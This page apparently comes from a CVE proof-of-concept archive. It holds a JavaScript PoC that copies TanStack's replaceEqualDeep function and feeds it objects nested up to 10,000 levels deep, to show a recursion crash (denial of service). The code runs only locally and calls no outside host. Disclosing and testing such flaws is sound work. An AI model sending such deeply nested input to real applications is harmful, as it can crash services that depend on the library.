5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.js JS
// Copy of TanStack's replaceEqualDeep
function isPlainObject(o) {
  return Object.prototype.toString.call(o) === '[object Object]' 
    && Object.getPrototypeOf(o) === Object.prototype;
}

function isPlainArray(value) {
  return Array.isArray(value) && value.length === Object.keys(value).length;
}

function replaceEqualDeep(a, b) {
  if (a === b) return a;
  const array = isPlainArray(a) && isPlainArray(b);
  if (!array && !(isPlainObject(a) && isPlainObject(b))) return b;
  
  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};
  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }
    if (a[key] === null || b[key] === null || 
        typeof a[key] !== 'object' || typeof b[key] !== 'object') {
      copy[key] = b[key];
      continue;
    }
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    if (v === a[key]) equalItems++;
  }
  return aSize === bSize && equalItems === aSize ? a : copy;
}

// Generate deeply nested object
function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// TEST
console.log('Testing replaceEqualDeep with deep nesting...');
const depths = [100, 1000, 5000, 10000];

for (const depth of depths) {
  const oldData = generateDeep(depth);
  const newData = generateDeep(depth);  // Different object, same structure
  
  console.log(`\nDepth: ${depth}`);
  const start = Date.now();
  try {
    replaceEqualDeep(oldData, newData);
    console.log(`  OK - ${Date.now() - start}ms`);
  } catch (e) {
    console.log(`  CRASH - ${e.message}`);
  }
}